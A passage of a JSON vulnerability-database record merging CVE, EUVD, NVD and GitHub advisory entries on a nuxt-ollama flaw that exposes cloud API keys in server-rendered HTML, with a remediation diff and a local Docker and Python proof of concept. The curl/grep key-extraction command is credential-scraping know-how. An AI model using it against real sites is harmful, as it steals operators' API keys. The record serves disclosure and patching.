{"id":"GHSA-fxg7-897c-57mp","revision":null,"records":[{"revision":"768f7e2c1c6b40f38711f02a7c92a39e","observedAt":"2026-10-29T19:28:49.708+00:00","statement":{"source":"cve-program","id":"CVE-2026-59158","aliases":[],"title":"Nuxt Ollama: public runtime configuration discloses the configured cloud API key","description":"Nuxt Ollama integrates the official Ollama JavaScript library into Nuxt applications. Prior to 1.3.1, `src/module.ts` unconditionally merges all module options, including a configured cloud `api_key`, into `runtimeConfig.public.ollama`. Nuxt serializes this public configuration into the server-rendered HTML `window.__NUXT__` payload, exposing the API key in plaintext to any unauthenticated client that fetches a page. `src/runtime/composables/useOllama.ts` also reads the public key and sends it as an `Authorization` `Bearer` credential in browser-side Ollama requests. Following the documented cloud configuration is sufficient; the visible application template need not make an Ollama request for the secret to leak. A stolen key permits unauthorized cloud API requests at the operator's expense, quota or rate-limit exhaustion, and access to stored models or conversations if the key grants those permissions. This issue is fixed in version 1.3.1.","state":0,"publishedAt":"2026-10-27T22:36:09.75+00:00","modifiedAt":"2026-10-29T18:23:47.915+00:00","affected":[{"ecosystem":"Vendor product","name":"nuxt-ollama","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"thoda-dev\",\n                    \"product\": \"nuxt-ollama\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 1.3.1\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"severity":"HIGH"}],"references":["https://github.com/thoda-dev/nuxt-ollama/security/advisories/GHSA-fxg7-897c-57mp","https://github.com/thoda-dev/nuxt-ollama/commit/156e813783ef322ee10dbbdd6bf446a449e1a04f","https://github.com/thoda-dev/nuxt-ollama/releases/tag/v1.3.1"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-59158","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-59158","identifiers":["CVE-2026-59158"]},"retained":false,"historicalAffected":[]},{"revision":"5dbb7bae1e05414eac5514d411abb2ba","observedAt":"2026-10-30T10:50:47.061+00:00","statement":{"source":"euvd","id":"EUVD-2026-111411","aliases":["CVE-2026-59158","GHSA-fxg7-897c-57mp"],"title":"Nuxt Ollama integrates the official Ollama JavaScript library into Nuxt applications. Prior to 1.3.1, `src/module.ts` unconditionally merges all module options, including a configured cloud `api_key`, into `runtimeConfig.public.ollama`. Nux…","description":"Nuxt Ollama integrates the official Ollama JavaScript library into Nuxt applications. Prior to 1.3.1, `src/module.ts` unconditionally merges all module options, including a configured cloud `api_key`, into `runtimeConfig.public.ollama`. Nuxt serializes this public configuration into the server-rendered HTML `window.__NUXT__` payload, exposing the API key in plaintext to any unauthenticated client that fetches a page. `src/runtime/composables/useOllama.ts` also reads the public key and sends it as an `Authorization` `Bearer` credential in browser-side Ollama requests. Following the documented cloud configuration is sufficient; the visible application template need not make an Ollama request for the secret to leak. A stolen key permits unauthorized cloud API requests at the operator's expense, quota or rate-limit exhaustion, and access to stored models or conversations if the key grants those permissions. This issue is fixed in version 1.3.1.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"severity":null}],"references":["https://github.com/thoda-dev/nuxt-ollama/security/advisories/GHSA-fxg7-897c-57mp","https://github.com/thoda-dev/nuxt-ollama/commit/156e813783ef322ee10dbbdd6bf446a449e1a04f","https://github.com/thoda-dev/nuxt-ollama/releases/tag/v1.3.1"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-111411","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Oct 27, 2026, 10:36:09 PM","dateUpdated":"Oct 29, 2026, 6:23:47 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-111411","identifiers":["EUVD-2026-111411","CVE-2026-59158","GHSA-fxg7-897c-57mp"]},"retained":false,"historicalAffected":[]},{"revision":"f2afe79720fb40189c63547c8f46810d","observedAt":"2026-10-29T16:15:27.957+00:00","statement":{"source":"nvd","id":"CVE-2026-59158","aliases":[],"title":"Nuxt Ollama integrates the official Ollama JavaScript library into Nuxt applications. Prior to 1.3.1, `src/module.ts` unconditionally merges all module options, including a configured cloud `api_key`, into `runtimeConfig.public.ollama`. Nux…","description":"Nuxt Ollama integrates the official Ollama JavaScript library into Nuxt applications. Prior to 1.3.1, `src/module.ts` unconditionally merges all module options, including a configured cloud `api_key`, into `runtimeConfig.public.ollama`. Nuxt serializes this public configuration into the server-rendered HTML `window.__NUXT__` payload, exposing the API key in plaintext to any unauthenticated client that fetches a page. `src/runtime/composables/useOllama.ts` also reads the public key and sends it as an `Authorization` `Bearer` credential in browser-side Ollama requests. Following the documented cloud configuration is sufficient; the visible application template need not make an Ollama request for the secret to leak. A stolen key permits unauthorized cloud API requests at the operator's expense, quota or rate-limit exhaustion, and access to stored models or conversations if the key grants those permissions. This issue is fixed in version 1.3.1.","state":0,"publishedAt":"2026-10-27T23:17:06.57+00:00","modifiedAt":"2026-10-28T15:24:56.033+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"severity":"HIGH"}],"references":["https://github.com/thoda-dev/nuxt-ollama/commit/156e813783ef322ee10dbbdd6bf446a449e1a04f","https://github.com/thoda-dev/nuxt-ollama/releases/tag/v1.3.1","https://github.com/thoda-dev/nuxt-ollama/security/advisories/GHSA-fxg7-897c-57mp"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-59158","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-522"],"productCriteria":[],"sourceDates":{"published":"2026-10-27T23:17:06.570","lastModified":"2026-10-28T15:24:56.033"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-59158","identifiers":["CVE-2026-59158"]},"retained":false,"historicalAffected":[]},{"revision":"591eb696ba6f498f8be013ef459d3245","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-fxg7-897c-57mp","aliases":["CVE-2026-59158"],"title":"Nuxt Ollama: Public Runtime Config Exposes Ollama API Key to Browser Clients","description":"## Public Runtime Config Exposes Ollama API Key to Browser Clients\n\n### Summary\n\n`nuxt-ollama@1.2.26` unconditionally merges all module options — including `api_key` — into Nuxt's **public** runtime config (`runtimeConfig.public.ollama`). Nuxt serializes `runtimeConfig.public` into the SSR HTML response inside a `<script>` payload block (`window.__NUXT__`), making the API key visible in plaintext to any unauthenticated HTTP client that fetches the page. An attacker with no credentials can steal the Ollama cloud API key with a single HTTP GET request, then use it to make arbitrary requests to the Ollama API at the operator's expense.\n\n### Details\n\nThe vulnerability is a design flaw in `src/module.ts`. During Nuxt module setup, the entire `_options` object — which contains `api_key` when configured for cloud Ollama as documented in `README.md:71-80` — is merged into the **public** runtime config namespace:\n\n```ts\n// src/module.ts:35-36\nconst currentConfig = (runtimeConfig.public.ollama ?? {}) as OllamaOptions\nruntimeConfig.public.ollama = defu(currentConfig, _options)\n```\n\nNuxt's SSR pipeline serializes `runtimeConfig.public` and embeds it in every server-rendered HTML page for client-side hydration. This results in the `api_key` appearing verbatim in the `window.__NUXT__` script block:\n\n```html\n<script>\nwindow.__NUXT__={};\nwindow.__NUXT__.config={\n  public:{\n    ollama:{\n      protocol:\"https\",\n      host:\"api.ollama.com\",\n      port:\"\",\n      proxy:false,\n      api_key:\"LEAKED_TEST_KEY_123\"  // ← secret exposed to browser\n    }\n  }\n}\n</script>\n```\n\nThe browser-side composable (`src/runtime/composables/useOllama.ts`) then reads this value and sends it as an `Authorization: Bearer` header in client-side Ollama API calls:\n\n```ts\n// src/runtime/composables/useOllama.ts:6-10\nconst options: ModuleOptions = useRuntimeConfig().public.ollama as ModuleOptions\nif (options.api_key) {\n  headers.Authorization = `Bearer ${options.api_key}`\n}\nreturn new Ollama({ host, proxy: options.proxy, headers })\n```\n\nThe complete data flow from source to sink:\n\n1. `README.md:71-80` — official documentation instructs users to set `ollama.api_key` for cloud Ollama models\n2. `src/module.ts:35-36` — **source**: `api_key` is merged into `runtimeConfig.public.ollama`\n3. Nuxt SSR runtime — `runtimeConfig.public` is serialized into HTML `__NUXT__` payload\n4. `src/runtime/composables/useOllama.ts:6` — browser composable reads `useRuntimeConfig().public.ollama`\n5. `src/runtime/composables/useOllama.ts:8-10` — **sink**: `options.api_key` becomes `headers.Authorization` in client-side HTTP request\n\nThe `api_key` value is never private (i.e., placed in `runtimeConfig.ollama`) and no sanitization removes it from the public namespace before serialization.\n\n**Recommended remediation:** Move `api_key` to the private runtime config and remove it from the browser composable:\n\n```diff\n-    const currentConfig = (runtimeConfig.public.ollama ?? {}) as OllamaOptions\n-    runtimeConfig.public.ollama = defu(currentConfig, _options)\n+    const { api_key, ...publicOptions } = _options\n+    const currentPublicConfig = (runtimeConfig.public.ollama ?? {}) as Omit<OllamaOptions, 'api_key'>\n+    runtimeConfig.public.ollama = defu(currentPublicConfig, publicOptions)\n+    const currentPrivateConfig = (runtimeConfig.ollama ?? {}) as Pick<ModuleOptions, 'api_key'>\n+    runtimeConfig.ollama = defu(currentPrivateConfig, { api_key })\n```\n\nThe `api_key` should then only be consumed in the server-side utility (`src/runtime/server/utils/useOllama.ts`) via `useRuntimeConfig().ollama.api_key`.\n\n### PoC\n\n**Prerequisites:** Docker, Python 3\n\n**Step 1 — Build the vulnerable Nuxt app container**\n\n```bash\ndocker build \\\n  -f /path/to/vuln-001/Dockerfile \\\n  -t nuxt-ollama-vuln-001 \\\n  /path/to/npmAI_735_thoda-dev__nuxt-ollama\n```\n\nThe Dockerfile uses the nuxt-ollama source at commit `6989ea8` and injects the following `playground/nuxt.config.ts` — the exact cloud configuration pattern from `README.md:71-80`:\n\n```ts\nexport default defineNuxtConfig({\n  modules: ['../src/module'],\n  compatibilityDate: '2025-10-29',\n  devtools: { enabled: false },\n  ollama: {\n    protocol: 'https',\n    host: 'api.ollama.com',\n    api_key: 'LEAKED_TEST_KEY_123'   // sentinel key\n  }\n})\n```\n\n**Step 2 — Start the container**\n\n```bash\ndocker run -d --name nuxt-ollama-poc-001 -p 3000:3000 nuxt-ollama-vuln-001\n```\n\n**Step 3 — Retrieve the API key with a single unauthenticated HTTP request**\n\n```bash\ncurl -s http://127.0.0.1:3000/ | grep -o 'api_key\":\"[^\"]*\"'\n# Expected: api_key\":\"LEAKED_TEST_KEY_123\"\n```\n\n**Automated PoC script**\n\n```bash\npython3 /path/to/vuln-001/poc.py\n```\n\n**Expected output (confirmed in dynamic reproduction):**\n\n```\nwindow.__NUXT__.config={\n  public:{\n    ollama:{\n      protocol:\"https\",\n      host:\"api.ollama.com\",\n      port:\"\",\n      proxy:false,\n      api_key:\"LEAKED_TEST_KEY_123\"\n    }\n  }\n}\n```\n\nThe sentinel key `LEAKED_TEST_KEY_123` appears in the HTML body of an unauthenticated HTTP GET response, confirming the leak.\n\n### Impact\n\nThis is a **credentials exposure** vulnerability (CWE-522). Any unauthenticated party — including passive network observers, web crawlers, or anonymous visitors — who fetches the HTML page of an application using `nuxt-ollama` with a cloud `api_key` configured can extract the API key from the `__NUXT__` script payload.\n\n**Who is impacted:**\n\n- **Operators/developers** who follow the official documentation to configure `ollama.api_key` for cloud Ollama models. They are unaware that the key is being published to every visitor.\n- **End-users** of applications built with this module are not directly at risk, but their requests may be intercepted or the service degraded if attackers exhaust rate limits or billing quotas on the stolen key.\n\n**Potential consequences of key theft:**\n\n- Unauthorized use of the Ollama cloud API at the operator's cost\n- Rate-limit exhaustion or quota abuse\n- Data exfiltration if the compromised key has read access to stored models or conversations\n- Reputational damage and service disruption for the affected application\n\nThe vulnerability does not require any special conditions beyond the operator following the documented configuration; no user interaction or prior authentication is needed by the attacker.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# syntax=docker/dockerfile:1\n# VULN-001 PoC: nuxt-ollama@1.2.26 — Public Runtime Config Exposes Ollama API Key\n# CWE-522: Insufficiently Protected Credentials\n# CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (7.5 High)\n#\n# Vulnerability mechanism:\n#   src/module.ts:36 — runtimeConfig.public.ollama = defu(currentConfig, _options)\n#   This places api_key into Nuxt's PUBLIC runtime config, which Nuxt serializes\n#   into the SSR HTML response (__NUXT__ / __NUXT_DATA__ payload).\n#   Any unauthenticated HTTP client reading the page HTML sees the API key in plaintext.\n\nFROM node:20-alpine\n\n# Install pnpm matching the repo's packageManager field (pnpm@10.33.4)\nRUN npm install -g pnpm@10.33.4\n\nWORKDIR /app\n\n# Copy the nuxt-ollama source repository\nCOPY repo/ ./\n\n# Install all project dependencies.\n# .npmrc already sets: shamefully-hoist=true, strict-peer-dependencies=false\nRUN pnpm install --frozen-lockfile\n\n# Override playground/nuxt.config.ts: inject a sentinel api_key to simulate\n# a real-world cloud Ollama deployment as documented in README.md:71-80.\n# This is the exact vulnerable configuration pattern described in the docs.\nRUN cat > playground/nuxt.config.ts << 'EOF'\nexport default defineNuxtConfig({\n  modules: ['../src/module'],\n  compatibilityDate: '2025-10-29',\n  devtools: { enabled: false },\n  ollama: {\n    protocol: 'https',\n    host: 'api.ollama.com',\n    api_key: 'LEAKED_TEST_KEY_123'\n  }\n})\nEOF\n\n# Replace app.vue with a minimal template that does NOT make Ollama API calls.\n# The api_key leak occurs in the Nuxt SSR payload, not in the visible template.\n# The original playground app.vue calls useFetch('/api/ollama') which requires\n# a live Ollama server; replacing it keeps this PoC self-contained.\nRUN cat > playground/app.vue << 'EOF'\n<template>\n  <div>nuxt-ollama VULN-001 PoC — check Nuxt SSR payload for api_key</div>\n</template>\nEOF\n\n# Build the playground in production SSR mode.\n# During the module setup() call, src/module.ts:36 merges all _options (including\n# api_key) into runtimeConfig.public.ollama. At request time, Nuxt serializes\n# runtimeConfig.public into the HTML response for client-side hydration.\nRUN pnpm exec nuxi build playground\n\nEXPOSE 3000\nENV HOST=0.0.0.0\nENV PORT=3000\nENV NITRO_HOST=0.0.0.0\nENV NITRO_PORT=3000\n\nCMD [\"node\", \"/app/playground/.output/server/index.mjs\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 Proof of Concept\nPackage : nuxt-ollama@1.2.26 (thoda-dev/nuxt-ollama, commit 6989ea8)\nTitle   : Public Runtime Config Exposes Ollama API Key to Browser Clients\nCWE     : CWE-522 - Insufficiently Protected Credentials\nCVSS    : 7.5 High  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n\nAttack summary\n--------------\nWhen a Nuxt app installs nuxt-ollama and sets ollama.api_key (per README.md:71-80\nfor cloud Ollama), the module's setup() function in src/module.ts:36 merges the\nentire _options object—api_key included—into runtimeConfig.public.ollama.\n\nNuxt's SSR pipeline serialises runtimeConfig.public for client-side hydration and\nembeds it in the HTML response inside a <script> payload block (__NUXT__ /\n__NUXT_DATA__).  Any unauthenticated HTTP GET request to the home page therefore\nreturns the api_key in plain text, with no authentication required.\n\nThis script:\n  1. Builds a Docker image from the nuxt-ollama source with a sentinel api_key.\n  2. Starts the image as a local container.\n  3. Fetches http://127.0.0.1:3000/ and searches for the sentinel key.\n  4. Prints an evidence excerpt and writes phase2_result.json.\n\"\"\"\n\nimport json\nimport os\nimport subprocess\nimport sys\nimport time\nimport urllib.request\n\n# ---------------------------------------------------------------------------\n# Configuration\n# ---------------------------------------------------------------------------\nTARGET_KEY      = \"LEAKED_TEST_KEY_123\"\nIMAGE_NAME      = \"nuxt-ollama-vuln-001\"\nCONTAINER_NAME  = \"nuxt-ollama-poc-001\"\nHOST            = \"127.0.0.1\"\nPORT            = 3000\nURL             = f\"http://{HOST}:{PORT}/\"\n\nSCRIPT_DIR  = os.path.dirname(os.path.abspath(__file__))\nPARENT_DIR  = os.path.dirname(SCRIPT_DIR)       # build context (contains repo/)\nDOCKERFILE  = os.path.join(SCRIPT_DIR, \"Dockerfile\")\nRESULT_FILE = os.path.join(SCRIPT_DIR, \"phase2_result.json\")\n\nBUILD_CMD = f\"docker build -f {DOCKERFILE} -t {IMAGE_NAME} {PARENT_DIR}\"\nRUN_CMD   = (\n    f\"docker run -d --name {CONTAINER_NAME} \"\n    f\"-p {PORT}:{PORT} {IMAGE_NAME}\"\n)\nPOC_CMD   = f\"python3 {os.path.join(SCRIPT_DIR, 'poc.py')}\"\n\n\n# ---------------------------------------------------------------------------\n# Helpers\n# ---------------------------------------------------------------------------\n\ndef run_cmd(cmd_list, check=True, capture=False):\n    \"\"\"Execute a command, printing it first; return CompletedProcess.\"\"\"\n    print(f\"[cmd] {' '.join(cmd_list)}\", flush=True)\n    return subprocess.run(\n        cmd_list,\n        check=check,\n        capture_output=capture,\n        text=bool(capture),\n    )\n\n\ndef cleanup_container():\n    \"\"\"Remove the PoC container if it already exists.\"\"\"\n    subprocess.run([\"docker\", \"rm\", \"-f\", CONTAINER_NAME], capture_output=True)\n\n\ndef wait_for_server(url, timeout=180, interval=5):\n    \"\"\"Poll url until it returns a non-5xx response or the timeout expires.\"\"\"\n    print(f\"[*] Waiting for server at {url}  (timeout={timeout}s)\", flush=True)\n    deadline = time.time() + timeout\n    while time.time() < deadline:\n        try:\n            with urllib.request.urlopen(url, timeout=5) as resp:\n                if resp.status < 500:\n                    print(f\"[+] Server up — HTTP {resp.status}\", flush=True)\n                    return True\n        except Exception:\n            pass\n        time.sleep(interval)\n    return False\n\n\ndef save_result(data):\n    \"\"\"Write phase2_result.json and echo its path.\"\"\"\n    with open(RESULT_FILE, \"w\", encoding=\"utf-8\") as fh:\n        json.dump(data, fh, ensure_ascii=False, indent=2)\n    print(f\"\\n[*] Result saved to {RESULT_FILE}\", flush=True)\n\n\n# ---------------------------------------------------------------------------\n# Main\n# ---------------------------------------------------------------------------\n\ndef main():\n    print(\"=\" * 66)\n    print(\"VULN-001 PoC — nuxt-ollama@1.2.26 API Key Leak via Nuxt SSR Payload\")\n    print(\"=\" * 66, flush=True)\n\n    cleanup_container()\n\n    # ------------------------------------------------------------------\n    # Step 1 — Build Docker image\n    # ------------------------------------------------------------------\n    print(\"\\n[STEP 1] Building Docker image (may take several minutes) ...\", flush=True)\n    build_rc = run_cmd(\n        [\"docker\", \"build\", \"-f\", DOCKERFILE, \"-t\", IMAGE_NAME, PARENT_DIR],\n        check=False,\n    ).returncode\n\n    if build_rc != 0:\n        save_result({\n            \"passed\":        False,\n            \"verdict\":       \"FAIL\",\n            \"reason\":        \"Docker 이미지 빌드 실패. docker build 로그를 확인하세요.\",\n            \"build_command\": BUILD_CMD,\n            \"run_command\":   RUN_CMD,\n            \"poc_command\":   POC_CMD,\n            \"evidence\":      f\"docker build exited with returncode={build_rc}\",\n            \"artifacts\":     [\"Dockerfile\", \"poc.py\"],\n        })\n        sys.exit(1)\n\n    print(\"[+] Image built successfully.\", flush=True)\n\n    # ------------------------------------------------------------------\n    # Step 2 — Start the container\n    # ------------------------------------------------------------------\n    print(\"\\n[STEP 2] Starting container ...\", flush=True)\n    run_rc = run_cmd(\n        [\"docker\", \"run\", \"-d\",\n         \"--name\", CONTAINER_NAME,\n         \"-p\", f\"{PORT}:{PORT}\",\n         IMAGE_NAME],\n        check=False,\n    ).returncode\n\n    if run_rc != 0:\n        save_result({\n            \"passed\":        False,\n            \"verdict\":       \"FAIL\",\n            \"reason\":        \"Docker 컨테이너 실행 실패.\",\n            \"build_command\": BUILD_CMD,\n            \"run_command\":   RUN_CMD,\n            \"poc_command\":   POC_CMD,\n            \"evidence\":      f\"docker run exited with returncode={run_rc}\",\n            \"artifacts\":     [\"Dockerfile\", \"poc.py\"],\n        })\n        sys.exit(1)\n\n    # ------------------------------------------------------------------\n    # Step 3 — Wait for Nuxt SSR server\n    # ------------------------------------------------------------------\n    print(\"\\n[STEP 3] Waiting for Nuxt SSR server ...\", flush=True)\n    if not wait_for_server(URL, timeout=180):\n        logs = subprocess.run(\n            [\"docker\", \"logs\", CONTAINER_NAME],\n            capture_output=True, text=True,\n        )\n        log_snippet = (logs.stdout + logs.stderr)[-2000:]\n        print(\"[!] Server did not respond within timeout. Container logs:\\n\", log_snippet)\n        save_result({\n            \"passed\":        False,\n            \"verdict\":       \"INCOMPLETE\",\n            \"reason\":        \"Nuxt SSR 서버가 180초 이내에 응답하지 않음. 컨테이너 로그 확인 필요.\",\n            \"build_command\": BUILD_CMD,\n            \"run_command\":   RUN_CMD,\n            \"poc_command\":   POC_CMD,\n            \"evidence\":      log_snippet,\n            \"artifacts\":     [\"Dockerfile\", \"poc.py\"],\n        })\n        cleanup_container()\n        sys.exit(1)\n\n    # ------------------------------------------------------------------\n    # Step 4 — Fetch the rendered HTML page\n    # ------------------------------------------------------------------\n    print(f\"\\n[STEP 4] GET {URL} ...\", flush=True)\n    try:\n        with urllib.request.urlopen(URL, timeout=15) as resp:\n            html = resp.read().decode(\"utf-8\", errors=\"replace\")\n    except Exception as exc:\n        save_result({\n            \"passed\":        False,\n            \"verdict\":       \"FAIL\",\n            \"reason\":        f\"HTTP 요청 실패: {exc}\",\n            \"build_command\": BUILD_CMD,\n            \"run_command\":   RUN_CMD,\n            \"poc_command\":   POC_CMD,\n            \"evidence\":      str(exc),\n            \"artifacts\":     [\"Dockerfile\", \"poc.py\"],\n        })\n        cleanup_container()\n        sys.exit(1)\n\n    print(f\"[+] Received {len(html)} bytes.\", flush=True)\n\n    # ------------------------------------------------------------------\n    # Step 5 — Verify TARGET_KEY is present in the HTTP response body\n    # ------------------------------------------------------------------\n    print(f\"\\n[STEP 5] Searching for '{TARGET_KEY}' in response ...\", flush=True)\n\n    if TARGET_KEY in html:\n        idx   = html.index(TARGET_KEY)\n        start = max(0, idx - 200)\n        end   = min(len(html), idx + len(TARGET_KEY) + 200)\n        excerpt = html[start:end].strip()\n\n        print(f\"\\n{'='*66}\")\n        print(f\"[PASS]  VULNERABILITY CONFIRMED\")\n        print(f\"'{TARGET_KEY}' is present in the unauthenticated HTTP response.\")\n        print(f\"{'='*66}\")\n        print(f\"Evidence excerpt:\\n\\n{excerpt}\\n\")\n        print(f\"{'='*66}\")\n\n        save_result({\n            \"passed\":        True,\n            \"verdict\":       \"PASS\",\n            \"reason\":        (\n                \"nuxt-ollama@1.2.26의 src/module.ts:36에서 api_key를 \"\n                \"runtimeConfig.public.ollama에 병합함. Nuxt SSR이 해당 값을 HTML 응답의 \"\n                \"__NUXT__ 페이로드에 직렬화하여, 인증 없는 HTTP GET 요청만으로 \"\n                \"LEAKED_TEST_KEY_123이 응답 본문에서 노출됨이 실제 실행으로 확인됨.\"\n            ),\n            \"build_command\": BUILD_CMD,\n            \"run_command\":   RUN_CMD,\n            \"poc_command\":   POC_CMD,\n            \"evidence\":      excerpt,\n            \"artifacts\":     [\"Dockerfile\", \"poc.py\"],\n        })\n        cleanup_container()\n        sys.exit(0)\n\n    else:\n        snippet = html[:3000]\n        print(f\"[FAIL]  '{TARGET_KEY}' NOT found in the HTTP response body.\")\n        print(\"--- HTML (first 3000 chars) ---\")\n        print(snippet)\n\n        save_result({\n            \"passed\":        False,\n            \"verdict\":       \"FAIL\",\n            \"reason\":        (\n                f\"'{TARGET_KEY}'가 HTTP 응답 본문에서 발견되지 않음. \"\n                \"Nuxt 빌드 버전 또는 환경 차이로 인해 직렬화 형식이 다를 수 있음.\"\n            ),\n            \"build_command\": BUILD_CMD,\n            \"run_command\":   RUN_CMD,\n            \"poc_command\":   POC_CMD,\n            \"evidence\":      snippet[:1500],\n            \"artifacts\":     [\"Dockerfile\", \"poc.py\"],\n        })\n        cleanup_container()\n        sys.exit(1)\n\n\nif __name__ == \"__main__\":\n    main()\n```","state":0,"publishedAt":"2026-09-09T23:47:44+00:00","modifiedAt":"2026-09-10T00:10:58.654611+00:00","affected":[{"ecosystem":"npm","name":"nuxt-ollama","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"1.2.26"},{"kind":"fixed","version":"1.3.1"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/thoda-dev/nuxt-ollama/security/advisories/GHSA-fxg7-897c-57mp","https://github.com/thoda-dev/nuxt-ollama"],"sourceUrl":"https://github.com/advisories/GHSA-fxg7-897c-57mp","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-fxg7-897c-57mp","identifiers":["GHSA-fxg7-897c-57mp","CVE-2026-59158"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-10-31T06:57:38.3088666+00:00","complete":true,"records":1766,"lastAttemptAt":"2026-10-31T06:57:38.3088666+00:00","lastSuccessAt":"2026-10-31T06:57:38.5290589+00:00","error":null,"lastVerifiedAt":"2026-10-31T06:57:38.5291813+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-9266d7b009bf9c4a0ccdcb5cbdea7f905cb3c4d92fd3b41581ece16b2cfdc4e7-7018a7a91bdbe7a328c3977e056f4a7eac81e7fe5f6abb4ce52489f9898b901e","complete":true,"records":417507,"lastAttemptAt":"2026-10-31T06:57:37.7731294+00:00","lastSuccessAt":"2026-10-31T06:45:34.914523+00:00","error":null,"lastVerifiedAt":"2026-10-31T06:57:37.7731294+00:00","snapshotPublishedAt":"2026-10-31T06:29:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-c5eb069e059248ab9c1b8cc754ce0885","complete":true,"records":13565,"lastAttemptAt":"2026-10-31T06:58:04.8764688+00:00","lastSuccessAt":"2026-10-31T03:47:38.206+00:00","error":null,"lastVerifiedAt":"2026-10-31T03:47:38.206+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13637,"expectedIdentifiers":13637,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-10-31T06:57:38.3088666+00:00","complete":true,"records":1094,"lastAttemptAt":"2026-10-31T06:57:38.3088666+00:00","lastSuccessAt":"2026-10-31T06:57:38.6628702+00:00","error":null,"lastVerifiedAt":"2026-10-31T06:57:38.662871+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-4598b57cf00a4cd7b27f4e709d9a3cdd","complete":false,"records":13577,"lastAttemptAt":"2026-10-31T06:58:04.1602726+00:00","lastSuccessAt":"2026-10-31T06:58:04.156+00:00","error":null,"lastVerifiedAt":"2026-10-31T06:58:04.156+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13547,"expectedIdentifiers":13637,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-21dcd6662970dfea02e4ea60ee637115e8d92664947484d2b9276b3f6568a84f","complete":true,"records":9815,"lastAttemptAt":"2026-10-31T06:57:38.1988123+00:00","lastSuccessAt":"2026-10-30T23:47:34.1817587+00:00","error":null,"lastVerifiedAt":"2026-10-31T06:57:38.1988123+00:00","snapshotPublishedAt":"2026-10-30T23:33:17+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-2de9ccc5290f060c7aa63f89c25dd76f655a64ba1aba7c05c97fa3bee4f09899","complete":true,"records":1967,"lastAttemptAt":"2026-10-31T06:57:37.9918567+00:00","lastSuccessAt":"2026-10-28T20:55:34.2982937+00:00","error":null,"lastVerifiedAt":"2026-10-31T06:57:37.9918567+00:00","snapshotPublishedAt":"2026-10-28T20:03:08+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE 